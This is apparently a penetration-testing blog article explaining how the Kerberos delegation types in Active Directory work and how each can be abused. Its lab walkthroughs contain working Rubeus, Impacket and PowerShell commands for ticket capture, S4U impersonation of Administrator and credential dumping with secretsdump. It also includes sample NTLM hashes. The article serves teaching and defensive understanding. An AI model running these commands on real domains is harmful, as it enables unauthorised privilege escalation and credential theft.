Pwning the Domain: Kerberos Delegation

Pwning the Domain: Kerberos Delegation

Read In This Article

Pwning the Domain: Kerberos Delegation

In this article we’ll talk about Kerberos Delegation and how to abuse it in various ways and escalate our privileges.

What is Kerberos delegation?

Kerberos delegation is a type of credential delegation that is used for securely delegating a user’s credential form a client application to a target server application. What it means is that the client application uses the user’s credential to authenticate to a target server application where the user has access. For example, there can be an IIS server which the user wants to access, after accessing the website, the website needs to send a request to a database server that is on another server and only the user can access it, therefore the IIS server stores the user’s credential and forwards it to the database server to be able to access it on behalf of the user.

Unconstrained

Unconstrained Kerberos delegation is one of the three main types of Kerberos delegation and the first and the oldest type used. In unconstrained type, the service can authenticate to any other service on behalf of any user. While accessing the service, the user has to send its ST along with its TGT to be used for delegation. The service then stores the TGT and uses it to authenticate to any service it needs to access.

To configure a service server for unconstrained delegation, you need to change its delegation type in the ‘Active Directory Users and Computers’ window to ‘Trust this computer for delegation to any service (Kerberos only)’.

Scenario

In this scenario we’ll add an IIS server role in DC, enable unconstrained delegation, and capture the user’s credential while the user authenticates to the IIS server.

Installation: First we need to install the web server role:

Then in role services we have to enable ‘Windows Authentication’:

After installation, we can configure it using ‘IIS manager’:

Then click on ‘Authentication’ and enable ‘Windows Authentication’ and disable ‘Anonymous Authentication’:

To test it we have to log in into a client system and reach the web server:

It is indeed requesting our credentials.

Enabling delegation: To enable unconstrained Kerberos delegation, we have to go to ‘Active Directory Users and Computers’ and then from there find the computer that we want to enable delegation on it, and select ‘Properties’, switch to ‘Delegation’ tab and enable ‘Trust this computer for delegation to any service (Kerberos only)’:

In this case we’ve installed the IIS role in the DC itself.

Reconnaissance: In this scenario we already know which server has enabled unconstrained delegation but in a real-world scenario, it’s quite different and we have to do some reconnaissance.

To check which computers has the option set:

Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties trustedfordelegation,serviceprincipalname,description

Monitoring: Then in the compromised server which is configured for unconstrained delegation, we have to monitor it for user authentications and capture their hashes. This can be done using Rubeus:

Rubeus.exe monitor /interval:5

Mischief: Now is the time for the real hunt to begin. Since it’s not a real-world scenario we can authenticate manually to the IIS server and get the credentials. This can be done using the command below:

Invoke-WebRequest http://dc1.offense.local -UseDefaultCredentials -UseBasicParsing

And in DC01 where Rubeus is executed:

This TGT can now be used for attacks like pass-the-ticket.

Constrained

With the rise of vulnerabilities after introducing unconstrained delegation, Microsoft introduced constrained delegation as a more secure way of delegating. This type of delegation does not require the user’s TGT, rather it uses the ST the user provided to access the service server, and the service server then uses this ST to request a ST for another service on another server on behalf of the user.

S4U2Proxy

S4U2Proxy is a kerberos extension introduced alongside with constrained delegation to extend the kerberos authentication system. Its role is to get the user’s ST and a ST for another service on behalf of the user, which was not previously possible but now can be done with this extension. This is the only extension used in ‘kerberos only’ constrained delegation.

S4U2Self

Tickets aren’t the only way of authenticating within the Windows realm, users can authenticate using NTLM as well and there is no ST there to be used with S4U2Proxy! This is where S4U2Self comes to play. Service server that receives the NTLM hash does some magic with it using the S4U2Self extension and requests a ST to itself on behalf of the user to be used afterwards with S4U2Proxy. This is used in ‘transition protocol’ constrained delegation.

Protocol Transition Kerberos Delegation (S4U2Self -> S4U2Proxy)

This mechanism allows a suitably privileged Kerberos service to obtain a ticket to itself for an arbitrary user principal in a given realm. The KDC expects the service to perform authentication through some other means to confirm the identity of a user before then establishing a ticket for the user in the Kerberos protocol. In other words, the service provides a transition from one authentication protocol to Kerberos.

This is mainly used in AD where the server have to obtain a Kerberos ticket for itself on behalf of a user who authenticated with a different method to it. These kind of protocol transition can be useful in PKI and webserver login to transits from non Kerberos authentication to Kerberos authentication.

The above image is example of how it would look if “Protocol Transition” is enable for constrained delegation. the SQL-2 service that we are configuring in above image it will store to which service the SQL-2 is allowed to delegate in msDS-AllowedTo-DelegateTo . Additionally, when setting Protocol Transition for an account TRUSTED_TO_AUTH_FOR_DELEGATION UAC setting also get set. This flag is an indication to the KDC that the account supports S4U2Self requests.

Scenario for Protocol Transition works

  • First Client authenticate to SQL-2 service using NTLM to access the database.
  • Now SQL-2 sends out S4U2SELF request to KDC , requesting the TGS to itself. interesting note here is that only the name of client (Surya Dev Singh) would be part of this request, so it is possible to send a S4USELF request for any arbitrary user.
  • KDC would notice SQL-2 has TRUSTED_TO_AUTH_FOR_DELEGATION set and accept the S4U2Self request. It would issue a TGS which has Forwardable flag set. Another thing to note here is that without TRUSTED_TO_AUTH_FOR_DELEGATION flag, KDC would still issue TGS, but without Forwardable flag.
  • Now SQL-2 sends S4U2Proxy request with TGS it got from S4U2Self and ask for TGS for CIFS/dc-2
  • KDC, upon receiving TGS from SQL-2, would verify if SQL-2 is allowed to delegate to CIFS/dc-2 or not (by checking msDC-AllowedToDelegateTo parameter) . Since SQL-2 is allowed to , KDC would return TGS to CIFS/dc-2 in response.
  • Now the TGS return by S4U2Proxy would then be used to access the remote share on dc-2. Yet another thing to note here is that the SPN (CIFS/dc-2) is written in plaintext in the TGS. Thus, it can be modified to authenticate to other services on dc-2. ## Abusing Protocol Transition

From the above output we notice two things.

  1. Client name in S4U2Self request can be arbitrary . KDC essentially trusts the name of client provided in S4U2Self.
  2. The SPN Value in the TGS are plaintext and can be substituted easily.

Step 1 : Now the first step is to identify the accounts that supports Constrained Delegation. We can use powerview for that :

Get-DomainComputer -TrustedToAuth -Properties cn,msds-allowedtodelegateto

Step 2 : Now after we get to know the account we supports Constrained delegation, we need to craft two request S4U2Self and S4U2Proxy requests with the parameters we want. we can use the Rubeus for that :

Rubeus s4u /impersonateuser:Administrator /user:SQL-2 /rc4:<NTLM> /msdsspn:cifs/dc-2 /altservice:http /ptt

where:

  • impersonateuser: The client name we want to requests TGS for
  • user: Service account that has Constrained Delegation enabled .
  • rc4: NTLM hash of that Service account
  • msdsspn: SPN to which user is allowed to delegate to
  • altservice: Alternate services for which we want the TGS

Basically, what we will do here is first send a S4U2Self request to KDC with username Administrator. Since the KDC trusts the username provided in S4U2Self requests, it will return a valid TGS of user Administrator. And since SQL-2 has Protocol Transition Constrained Delegation enabled, the returned TGS would also have Forwardable flag. This TGS would then be used in S4U2Proxy request next. Again, the TGS is of user Administrator, so the ticket to CIFS/dc-2 returned by KDC would also be of user Administrator. Now, recall that the SPN value in TGS are in plaintext. So, we would modify the CIFS/dc-2 to, for instance, HTTP/dc-2 that would allow us to use HTTP application that we do not have access to . # RBCD (Resource Based Constrained Delegation)

This is type of Kerberos delegation introduced by Microsoft in 2012, Resource-Based Constrained Delegation (RBCD) provides additional restriction on Kerberos Delegation for security . RBCD changes the delegation model entirely. Here instead of specifying which object can delegate to which service, the services specifies which object can delegate to it. This allows the service owner to control who can assess it. Eg: instead of specifying that the web service account can delegate to the database service to access the database, we can now specify that on the database service that the web service account is allowed to delegate access to it

Now Let’s say that we have permission to configure RBCD for a service. This means we have the ability to set the msDS-AllowedToActOnBehalfOfOtherIdentity attribute which is different from msDS-AllowedToDelegateTo like we have in constrain delegation. for the AD Object, We can populate this attribute with the details of an AD account that we have access to. Also to this attribute also does not require SeEnableDelegationPrivilege, Instead, you only need a privilege like WriteProperty, GenericAll, GenericWrite or WriteDacl on the computer object.
## Scenarios of RBCD Abuse

  • Target computer on which you can modify msDS-AllowedToActionOnBehalfOfOtherIdentity .
  • Control of another principle that has a SPN

Steps to Perform RBCD Attack

  1. Create a dummy Computer in the domain using the addcomputer.py script from Impacket toolkit
impacket-addcomputer -Computer-name RBCD$ -computer-pass 'password@1234' -dc-ip 10.0.2.7 hadess.local/suryadevsingh:'hadess@1234'
  • Populate the msDS-AllowedToActOnBehalfOfOtherIdentity attribute with the security descriptor of the computer account created earlier.
impacket-rbcd -delegate-from 'controlled_account' -delegate-to 'target$' -dc-ip 'domain_controller' -action 'write' 'domain'/'domain_user':'password'
  • Get the Impersonated Service ticket of the domain admin user.
impacket-getST -spn ‘service/domain_controller_hostname’ -impersonate ‘domain_admin” -dc-ip 'domain_controller_ip' 'domain'/'controlled_account$’:'password'

save the ticket to cache :

export KRB5CCNAME=administrator.ccache

Note: The above steps could be done with Rubeus.exe & mimikatz.exe also.

  • Use impacket toolkit to abuse resource-based constrained delegation and gain access to the target system
impacket-secretsdump -k target-ip 'IP' 'domain'

Kerberos Only (S4U2Proxy)

The Kerberos only is much simple kind yet most secure kind of Kerberos delegation. we can set it up by selecting Use Kerberos only radio button.

Just like Protocol Transition the list of services the SQL-2 is allowed to delegate to will be sabed in msDS-AllowedToDelegate attribute. But , unlike Protocol Transition, Kerberos Only won’t set the TRUSTED_TO_AUTH_FOR_DELEGATION UAC flag. so, KDC would still issue TGS, but without Forwardable flag.

So, Kerberos Only has one major requirement- a valid forwardable TGS to be used in S4U2Proxy requests. If we recall the abuse case of Protocol Transition, we were able to send the S4U2Self request to get a valid TGS but here in case of Kerberos Only, that TGS won’t have Forwardable flag set. so, the main thing is when do we get a TGS with forwardable flag ? When a legit user requests TGS from KDC using its TGT. And in case of S4U2Proxy requests too. ## Scenario for How Kerberos only works ?

  • First Client sends out TGT to access the TGS for the service he want to access (in this case SQL-2) .
  • KDC now sends out TGS to access the database service , this TGS will not be having TRUSTED_TO_AUTH_FOR_DELEGATION So, the TGS given will not be having forwardable flag set.
  • Now SQL-2 sends S4U2Proxy request with TGS it got from client and ask for TGS for CIFS/dc-2
  • KDC, upon receiving TGS from SQL-2, would verify if SQL-2 is allowed to delegate to CIFS/dc-2 or not (by checking msDC-AllowedToDelegateTo parameter) . Since SQL-2 is allowed to , KDC would return TGS to CIFS/dc-2 in response.
  • Now the TGS return by S4U2Proxy would then be used to access the remote share on dc-2. Yet another thing to note here is that the SPN (CIFS/dc-2) is written in plaintext in the TGS. Thus, it can be modified to authenticate to other services on dc-2. ## Abusing Kerberos Only

since “Kerberos Only” is the most secure form of delegation we have so , the attack path for these can be very confusing . To abuse this we would need two things :

  1. SYSTEM level access to the machine which hash “Kerberos Only” Delegation enabled.
  2. Indirect Exploitation of RBCD (resource based constrained delegation)

Step 1 : We will first add a new machine to domain . HADESS$ for our example.

New-MachineAccount -MachineAccount HADESS -Password $(ConvertTo-SecureString 'Strange@123' -AsPlainText -Force)

since, SQL-2 is the machine we have SYSTEM over and that has delegation set to CIFS/dc-2. As attacker, what we want to do is to run Invoke-Command over dc-2 as Administrator. Kerberos Only says that for S4U2Proxy request to CIFS/dc-2, we would need a valid TGS for XYZ/SQL-2 (XYZ meaning any service on SQL-2) of user Administrator.

Now, we can get a forwardable TGS for XYZ/SQL-2 if another resource is trying to either authenticate to or delegate to XYZ/SQL-2. This is where we will use our RBCD Exploitation comes in. What we will do is create a machine Hadess$. Then, set SQL-2 to allow RBCD from Hadess$. We will then use Hadess$ to delegate as Administrator into SQL-2. That way, we will get a valid forwardable TGS of Administrator (result of S4U2Proxy of RBCD). We will then use this TGS in the S4U2Proxy request to receive CIFS/dc-2 TGS. This diagram will explain it better:

Step 2 : We will add HADESS$ in msDS-AllowedToActOnBehalfOfOtherIdentity attribute of SQL-2. Just like how we did in RBCD exploitation in above steps

$S4UIdentity = "dev.cyberbotic\HADESS$"
$IdentitySID = ((New-Object -TypeName System.Security.Principal.NTAccount -ArgumentList $S4UIdentity).Translate([System.Security.Principal.SecurityIdentifier])).Value
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($IdentitySID))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer "SQL-2.dev.cyberbotic.io" | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

Step 3 : Abuse RBCD using HADESS$ on SQL-2$. This will give us a forwardable TGS for SQL-2$.

# Verify if RBCD is set correctly
$RawBytes = Get-DomainComputer "SQL-2.dev.cyberbotic.io" -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity
$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0
$Descriptor.DiscretionaryAcl
ConvertFrom-SID $Descriptor.DiscretionaryAcl.SecurityIdentifier

# RBCD Exploitation to get forwardable TGS from S4U2Proxy

.\Rubeus.exe s4u /impersonateuser:Administrator /user:HADESS$ /rc4:0ED0E7DA0EFAD91BE14AB2D1404A8226 /msdsspn:http/SQL-2.dev.cyberbotic.io /nowrap
.\Rubeus.exe describe /ticket:[ticket]

Step 4 : Use that TGS as proof of authentication in S4U2Proxy for dc-2 file share.

Invoke-Command -ComputerName dc-2.dev.cyberbotic.io -ScriptBlock { whoami }
.\Rubeus.exe s4u /tgs:[ticket] /user:SQL-2 /rc4:39788bc50412dfad55fbaa1b24af57b7 /msdsspn:cifs/dc-2.dev.cyberbotic.io /altservice:http /ptt
Invoke-Command -ComputerName dc-2.dev.cyberbotic.io -ScriptBlock { whoami }

Resources

https://www.thehacker.recipes/a-d/movement/kerberos/delegations

https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/credential-access/steal-or-forge-kerberos-tickets

Security Researchers

Amir Gholizadeh (@arimaqz), Surya Dev Singh (@kryolite_secure)

Free Consultation

For a Free Consultation And Analysis Of Your Business, Please Fill Out The Opposite Form, Our Team Will Contact You As Soon As Possible.